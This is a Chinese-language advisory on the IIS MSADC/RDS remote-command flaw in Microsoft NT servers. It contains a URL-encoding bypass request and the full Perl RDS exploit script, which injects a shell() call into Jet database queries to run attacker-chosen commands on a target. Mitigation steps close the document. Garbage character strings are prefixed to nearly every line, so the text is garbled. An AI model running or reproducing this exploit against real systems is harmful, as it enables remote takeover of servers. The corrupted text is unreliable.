IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
)nQA) uz hj s[$,1 涉及程序:
Q`'w)aV Microsoft NT server
g"^<LX- &E0P`F,GQA 描述:
yKgA"NaM 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
|cUTP!iy N"@aisi) 详细:
yMB*/vs 如果你没有时间读详细内容的话,就删除:
xXQDHc-Ba c:\Program Files\Common Files\System\Msadc\msadcs.dll
kg1z"EE 有关的安全问题就没有了。
@.@O# UTC|8 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
<S<@V?h XhhV7J_F 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
oYI7 .w 关于利用ODBC远程漏洞的描述,请参看:
)w=ehjV^m *\L\Bzm http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ncjtv"2R ?%d]iTZE 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
:*k http://www.microsoft.com/security/bulletins/MS99-025faq.asp V]&0"HX2r! <XDYnWz 这里不再论述。
&3#19v7/ x(ue
|UG 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
/J9|.];%r unY+/p $ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
/-4rcC 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
N D`?T
&PK Y`.FSs B}Qpqa=_c #将下面这段保存为txt文件,然后: "perl -x 文件名"
BUvE~l.,| q&]I #!perl
t4X:I&l-M: #
86y)+h` # MSADC/RDS 'usage' (aka exploit) script
eEl}.W} #
$qO%lJ: # by rain.forest.puppy
8A}cxk #
@|BaZq,g # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Po_y78ZD # beta test and find errors!
`o4alK\ Y- esD'MD use Socket; use Getopt::Std;
VB=$D|Ll getopts("e:vd:h:XR", \%args);
#6* j+SX^ %PW_v~sg print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
U|ZYoc+]( 2SVBuV/R if (!defined $args{h} && !defined $args{R}) {
}M*yE]LL;Z print qq~
ZgarxV* Usage: msadc.pl -h <host> { -d <delay> -X -v }
^/b3_aM5d -h <host> = host you want to scan (ip or domain)
'~{bq'7`m -d <seconds> = delay between calls, default 1 second
M ^S <G -X = dump Index Server path table, if available
:rR)rj' -v = verbose
v!~tX*q -e = external dictionary file for step 5
AYb-BaIc ~?E.U,R Or a -R will resume a command session
Q#M@!& Pr|BhX ~; exit;}
,E
] vM& O1xK\ogv $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Ww\M3Q`h if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
*5T^wZpj) if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
H;D5)eJ90 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
N=%4V $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
"=H(\V if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
0Ez(;4]3 /h6K"w=='! if (!defined $args{R}){ $ret = &has_msadc;
U4s)3jDw die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
cCa+UTxaJ }3HN$Fwo print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Wl?0|{W . "cmd /c ";
|YEq<wbQ $in=<STDIN>; chomp $in;
xNAX)v3Z $command="cmd /c " . $in ;
we?#
Dui ,v\^efc:% if (defined $args{R}) {&load; exit;}
|f67aN 1xBgb/+ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
GoSdo &try_btcustmr;
f
N_8HP6& rD_\NgVAs print "\nStep 2: Trying to make our own DSN...";
3:wN^!A}ve &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
C6` Tck! UmEc")3 print "\nStep 3: Trying known DSNs...";
b;xn0sDn# &known_dsn;
j3=%J5< r{g8CIwGQ print "\nStep 4: Trying known .mdbs...";
C!X"0]@FA &known_mdb;
a)lS)*Y ;+;%s D if (defined $args{e}){
1RHFWK5Si print "\nStep 5: Trying dictionary of DSN names...";
Te d1Ky2O &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
xky +" RwyX,| print "Sorry Charley...maybe next time?\n";
^L?2y/ exit;
Lqa|9|! &dsXK~9M> ##############################################################################
xwSi.~. i(O+XQ}Fyx sub sendraw { # ripped and modded from whisker
2p|ed=ly% sleep($delay); # it's a DoS on the server! At least on mine...
)JA9bR
< my ($pstr)=@_;
y?Cq{( socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
,azBk`$iQr die("Socket problems\n");
v{r,Wy3 if(connect(S,pack "SnA4x8",2,80,$target)){
nI_UL select(S); $|=1;
[ikW3 '99, print $pstr; my @in=<S>;
yt+d
f0l select(STDOUT); close(S);
M4}b lh# return @in;
5do49H_ } else { die("Can't connect...\n"); }}
$Cnv]1% .(g"(fgF ##############################################################################
4ux^K:z }kZ)|/]kn sub make_header { # make the HTTP request
&iI5^b-P my $msadc=<<EOT
ssY5g !% POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
|\BxKwS^ User-Agent: ACTIVEDATA
EBMZ7b-7 Host: $ip
as^!c! Content-Length: $clen
G0h/]%I Connection: Keep-Alive
qw<~v?{|C iy-~CPNB_ ADCClientVersion:01.06
F a+#bX7 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
T|^KG<uPV! R1?LB"aN --!ADM!ROX!YOUR!WORLD!
HRg< f= oz Content-Type: application/x-varg
>xCc#]v& Content-Length: $reqlen
AFdBf6/"i 8," 5z_ EOT
n?mV(? N ; $msadc=~s/\n/\r\n/g;
9f #6Q*/ return $msadc;}
]j: aO Uys[0n ##############################################################################
~5:-;ZbZ 0zc~!r~ sub make_req { # make the RDS request
<wTD}.n my ($switch, $p1, $p2)=@_;
0#:St my $req=""; my $t1, $t2, $query, $dsn;
wOV}<.W k#"}oI{<
6 if ($switch==1){ # this is the btcustmr.mdb query
:{=2ih-} $query="Select * from Customers where City=" . make_shell();
\5DOp-2 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ovsI2 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
K<E|29t^k \Xpq=2` elsif ($switch==2){ # this is general make table query
N$! Vm(S $query="create table AZZ (B int, C varchar(10))";
q?$<{Z" $dsn="$p1";}
} m&La4E ~y" ^t@!E elsif ($switch==3){ # this is general exploit table query
!SAR/sdXf $query="select * from AZZ where C=" . make_shell();
St|B9V?eEB $dsn="$p1";}
qr'P0+|~5 v=J[p;H^H elsif ($switch==4){ # attempt to hork file info from index server
eh /QFm
4 $query="select path from scope()";
>5M Hn@ $dsn="Provider=MSIDXS;";}
Oi4y~C_Xd e)#f`wM elsif ($switch==5){ # bad query
NR.YeKsBq $query="select";
q[5& $dsn="$p1";}
f9a_:]F chszP{-@X $t1= make_unicode($query);
bM>5=Zox $t2= make_unicode($dsn);
T :0#se $req = "\x02\x00\x03\x00";
F.$NYr/|y $req.= "\x08\x00" . pack ("S1", length($t1));
}%Vx2Q $req.= "\x00\x00" . $t1 ;
RxUzJ $req.= "\x08\x00" . pack ("S1", length($t2));
Sp\
7 $req.= "\x00\x00" . $t2 ;
{GhM,-%e $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
d: LP8 return $req;}
:<PwG]LO [DSD[[
z[ ##############################################################################
S*' 7q@>d(xho sub make_shell { # this makes the shell() statement
b
|JM4jgK return "'|shell(\"$command\")|'";}
ZnZ`/zNO )^]1j$N=3 ##############################################################################
8dCa@r&tz kpx2e2C| sub make_unicode { # quick little function to convert to unicode
zrE Dld9 my ($in)=@_; my $out;
hM[QR'\QS for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
$;As7MI return $out;}
9 #)& 7thB1cOJ ##############################################################################
2[~|6@n \{{i:&] H sub rdo_success { # checks for RDO return success (this is kludge)
't#E-+o my (@in) = @_; my $base=content_start(@in);
k*k 9hv? if($in[$base]=~/multipart\/mixed/){
|YWX.-aeo return 1 if( $in[$base+10]=~/^\x09\x00/ );}
[fIElH< return 0;}
g3kF&+2i KiYz]IM$4 ##############################################################################
m$H(l4wB>
IA{I|g< sub make_dsn { # this makes a DSN for us
2`nOYK my @drives=("c","d","e","f");
Wer.VL print "\nMaking DSN: ";
;H`>jI$ foreach $drive (@drives) {
1gh<nn print "$drive: ";
G21cJi* my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
7yFV.#K3O "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
.?LP$O= . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Xw]L'+V= $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
.TKKjS%8 return 0 if $2 eq "404"; # not found/doesn't exist
`%Jq^uW if($2 eq "200") {
HK4 *+ foreach $line (@results) {
yGX"1Fb?;x return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
X.FFBKjf[e } return 0;}
Y4,LXuQ CSNfLGA ##############################################################################
Uv%?z0F<C +kZW:t!- sub verify_exists {
xAJuIR1Hi my ($page)=@_;
E;Q
,{{# my @results=sendraw("GET $page HTTP/1.0\n\n");
b&xlT+GN return $results[0];}
D&nVkZP> D/TEx2.=J3 ##############################################################################
G;yh$n<" +/Qgl sub try_btcustmr {
?0hEd9TU my @drives=("c","d","e","f");
9MR,3/&N my @dirs=("winnt","winnt35","winnt351","win","windows");
Mhiz{Td ~ -zch=+u foreach $dir (@dirs) {
V^E.9fs, print "$dir -> "; # fun status so you can see progress
wC>Xu.Z: foreach $drive (@drives) {
|z] --h print "$drive: "; # ditto
$i.)1.x $reqlen=length( make_req(1,$drive,$dir) ) - 28;
jyFXAs2 $reqlenlen=length( "$reqlen" );
/qObXI $clen= 206 + $reqlenlen + $reqlen;
1jkMje 0PT\/imgN my @results=sendraw(make_header() . make_req(1,$drive,$dir));
_'"$,~ZWY if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
tp?<
e else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
L>{p> 0zr Zrl ##############################################################################
2-x#|9
0pl | sub odbc_error {
sEm064 my (@in)=@_; my $base;
i2Cw#x0s my $base = content_start(@in);
`&!J6)OJ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
JsyLWv@6xa $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%:vM D $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
QX>Pni $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
PHv0^l]B return $in[$base+4].$in[$base+5].$in[$base+6];}
fFNwmH-jv print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
TF- k|##G print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
^Uq"hT(41 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
18];fC EH~XN9b ##############################################################################
-9> oB oY8S-N;(t sub verbose {
9~6)u=4sS" my ($in)=@_;
N_eZz#); return if !$verbose;
a^QyYX}\qR print STDOUT "\n$in\n";}
c0Oc-,6J j_Qkw ? ##############################################################################
C,#FH} \\9$1yg sub save {
?/ Cl my ($p1, $p2, $p3, $p4)=@_;
|)+;d open(OUT, ">rds.save") || print "Problem saving parameters...\n";
N;.}g*_+} print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
i{5,mS& close OUT;}
"*N=aHsj Y1Sfhs) ##############################################################################
T~JE.Y3B3 1@vlbgLr@ sub load {
/`vn/X^?^ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
F3pBk)>a\ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
">hOD'PG @p=<IN>; close(IN);
;!H|0sv $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
b$k|D)_| $target= inet_aton($ip) || die("inet_aton problems");
Cp[
NVmN print "Resuming to $ip ...";
j&
~`wGM $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
6|AD]/t^K if($p[1]==1) {
M^3pJ=;5 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
qt{{q $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
'mR9Uqq\ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
eV)'@8p if (rdo_success(@results)){print "Success!\n";}
#I] ^Wo
else { print "failed\n"; verbose(odbc_error(@results));}}
C=uYX" elsif ($p[1]==3){
FEzjP$ if(run_query("$p[3]")){
ubZcpqm?Q print "Success!\n";} else { print "failed\n"; }}
/2#1Oi)o elsif ($p[1]==4){
Ihn+_Hu if(run_query($drvst . "$p[3]")){
rj> _L print "Success!\n"; } else { print "failed\n"; }}
8O_0x)X exit;}
K>x+*UPL h(1o!$EU2 ##############################################################################
v(vJ[_&% !=yNj6_f sub create_table {
4A@77#:J5 my ($in)=@_;
/yn%0Wish $reqlen=length( make_req(2,$in,"") ) - 28;
xhmrep6+< $reqlenlen=length( "$reqlen" );
_)6 N&u8 $clen= 206 + $reqlenlen + $reqlen;
]|PDsb"e my @results=sendraw(make_header() . make_req(2,$in,""));
By7?<A return 1 if rdo_success(@results);
Fy8$'oc my $temp= odbc_error(@results); verbose($temp);
klwNeGF]N return 1 if $temp=~/Table 'AZZ' already exists/;
_0: }"!Gq return 0;}
S#wy+* kvo V?<! ##############################################################################
N+M^e`H MzudCMF sub known_dsn {
V.U9Q{y" # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
rjLPX my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
wSwDhOX= "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
YN >k5\M_v "banner", "banners", "ads", "ADCDemo", "ADCTest");
MrGq{,6C >*FH JCe foreach $dSn (@dsns) {
@;K-@*k3 print ".";
s%c>Ge next if (!is_access("DSN=$dSn"));
4T<4Rb[ if(create_table("DSN=$dSn")){
JX! @j3 print "$dSn successful\n";
&3t[p= if(run_query("DSN=$dSn")){
3j2#'Jf|: print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Nt5`F@;B print "Something's borked. Use verbose next time\n";}}} print "\n";}
Hz6tk9;w r3_O?b ##############################################################################
yoc;`hO- -fILXu sub is_access {
iF#|Z$g-( my ($in)=@_;
2V6kCy@V $reqlen=length( make_req(5,$in,"") ) - 28;
eK)R=M@i $reqlenlen=length( "$reqlen" );
mIy|]e`SJ $clen= 206 + $reqlenlen + $reqlen;
8\H*Z2yF+ my @results=sendraw(make_header() . make_req(5,$in,""));
9KgGK cy% my $temp= odbc_error(@results);
Gi=s|vt verbose($temp); return 1 if ($temp=~/Microsoft Access/);
t6JM% return 0;}
yy*8Aw} CfMCc:8mL ##############################################################################
! O~: 2/ES.>K!. sub run_query {
<RaM@E my ($in)=@_;
ZJ
Ke}F`l $reqlen=length( make_req(3,$in,"") ) - 28;
N">4I) $reqlenlen=length( "$reqlen" );
eGF+@)K1" $clen= 206 + $reqlenlen + $reqlen;
>&g^ ` my @results=sendraw(make_header() . make_req(3,$in,""));
0!fT:Ra return 1 if rdo_success(@results);
1;8%\r[|5^ my $temp= odbc_error(@results); verbose($temp);
B2/d%B return 0;}
Q2(K+!Oe yJRqX]MLA ##############################################################################
6#SUfK; E@(nKe&6T_ sub known_mdb {
Jdc{H/10 my @drives=("c","d","e","f","g");
gFQ\zOlY8a my @dirs=("winnt","winnt35","winnt351","win","windows");
f}%paE" my $dir, $drive, $mdb;
-\dcs? my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
NQpC]#n G9
g
-EP\ # this is sparse, because I don't know of many
A$=h'!$ my @sysmdbs=( "\\catroot\\icatalog.mdb",
3)6&)7`* "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
G3wkqd "\\system32\\certmdb.mdb",
"!F%X%/ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
818,E 9z9\pXFQ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
&Fg|52 "\\cfusion\\cfapps\\forums\\forums_.mdb",
bMp[:dw`y "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
i]
I{7k "\\cfusion\\cfapps\\security\\realm_.mdb",
P1u(0t "\\cfusion\\cfapps\\security\\data\\realm.mdb",
:FN-.1C "\\cfusion\\database\\cfexamples.mdb",
;.'\8!j "\\cfusion\\database\\cfsnippets.mdb",
`:>N.9'o "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
yRyUOTK "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
]I<w;.z "\\cfusion\\brighttiger\\database\\cleam.mdb",
u"s@eN "\\cfusion\\database\\smpolicy.mdb",
92 oUQ EK "\\cfusion\\database\cypress.mdb",
mNk@WY_F "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
# X`t~Y' "\\website\\cgi-win\\dbsample.mdb",
.X](B~\! "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
GnFm*L "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
x=VLTH/oo ); #these are just
RoLN# foreach $drive (@drives) {
089 <B& < foreach $dir (@dirs){
]p-xds#d foreach $mdb (@sysmdbs) {
ZR8%h< print ".";
q*'-G]tH= if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
\~BYY|UB;W print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
r>;(\_@ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
XEe$Wh
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
#
H)\ts } else { print "Something's borked. Use verbose next time\n"; }}}}}
-%)S~R /:. p{y foreach $drive (@drives) {
3n3$? oV foreach $mdb (@mdbs) {
Xf%vfAf print ".";
$No^\.mV if(create_table($drv . $drive . $dir . $mdb)){
_fM=J+ print "\n" . $drive . $dir . $mdb . " successful\n";
f>zd,|)At if(run_query($drv . $drive . $dir . $mdb)){
P|tNmv[; print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
3'zL,W W } else { print "Something's borked. Use verbose next time\n"; }}}}
nIEIb.- }
4L _AhX7 n3"
@E<rW ##############################################################################
UpSa7F:Uw 'Y22HVUX sub hork_idx {
[R(d Cq> print "\nAttempting to dump Index Server tables...\n";
dh-?_|" print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
S[5OTwa8L $reqlen=length( make_req(4,"","") ) - 28;
#DA ,* $reqlenlen=length( "$reqlen" );
K
+l-A>Ic $clen= 206 + $reqlenlen + $reqlen;
U9Gg#M4tY my @results=sendraw2(make_header() . make_req(4,"",""));
E0*62OI~O if (rdo_success(@results)){
cof+iI~9O% my $max=@results; my $c; my %d;
^OrO&w| for($c=19; $c<$max; $c++){
l[Ko> $results[$c]=~s/\x00//g;
u$rSM0CJ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
+#Ga}eCM $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
KSve_CBOh $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
pqDlg $d{"$1$2"}="";}
f7?u`"C foreach $c (keys %d){ print "$c\n"; }
[5;_XMj% } else {print "Index server doesn't seem to be installed.\n"; }}
Pah*, /:ju/~R} ##############################################################################
,X)/ T!ff E^C [G)7n sub dsn_dict {
`1i\8s&O6@ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
?`3G5at)9f while(<IN>){
Q6$^lRNOpk $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
y3Ul}mVhA next if (!is_access("DSN=$dSn"));
sB=s .`9 if(create_table("DSN=$dSn")){
,Yu2K` print "$dSn successful\n";
(gEz<}Av. if(run_query("DSN=$dSn")){
,8)aKy print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
lFV\Go print "Something's borked. Use verbose next time\n";}}}
8E|FFHNK<2 print "\n"; close(IN);}
Bp/k{7 bo
&QKK ##############################################################################
nkkUby9 "P!zu(h4 sub sendraw2 { # ripped and modded from whisker
H8A=]Gq sleep($delay); # it's a DoS on the server! At least on mine...
,veo/k<"r8 my ($pstr)=@_;
1[]V @P^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
]T>|Y0 | die("Socket problems\n");
c|F2 6$rv if(connect(S,pack "SnA4x8",2,80,$target)){
F#Bi*YY print "Connected. Getting data";
+a|u,'u open(OUT,">raw.out"); my @in;
asL!@YE select(S); $|=1; print $pstr;
>a)6GZ@ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
F>U*Wy close(OUT); select(STDOUT); close(S); return @in;
'e*:eBoyb } else { die("Can't connect...\n"); }}
GiKmB-HO l:(?|1_ ##############################################################################
v
M $Tn 2>vn'sXdj sub content_start { # this will take in the server headers
B&sa|'0U my (@in)=@_; my $c;
9=9R"X>L for ($c=1;$c<500;$c++) {
LDbo=w if($in[$c] =~/^\x0d\x0a/){
-c
p)aH) if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
oR}'I else { return $c+1; }}}
vFK!LeF% return -1;} # it should never get here actually
]//Dd/L6 oRHWb_$" ##############################################################################
l<p6zD$l &t@|/~%[ sub funky {
t<yOTVah my (@in)=@_; my $error=odbc_error(@in);
6Z!OD(/e if($error=~/ADO could not find the specified provider/){
rp!>rM] s print "\nServer returned an ADO miscofiguration message\nAborting.\n";
I{7Hz{ exit;}
4~e6z( if($error=~/A Handler is required/){
gx=2]~O1( print "\nServer has custom handler filters (they most likely are patched)\n";
NBO&VYs| exit;}
RQCKH]&! if($error=~/specified Handler has denied Access/){
|$`I1
print "\nServer has custom handler filters (they most likely are patched)\n";
| (: PX exit;}}
,S7M4ajVZB aq$adPtu ##############################################################################
(@cZmU, +f\r?8s sub has_msadc {
j12khp? my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
jEW@~e my $base=content_start(@results);
qViolmDz return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
to3D#9Ep return 0;}
c59l/qoz d~w}{LR[1 ########################
/;9]LC.g 0[!38 ZZU"Q7`^ 解决方案:
'
4Kf 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
W_ubgCB 2、移除web 目录: /msadc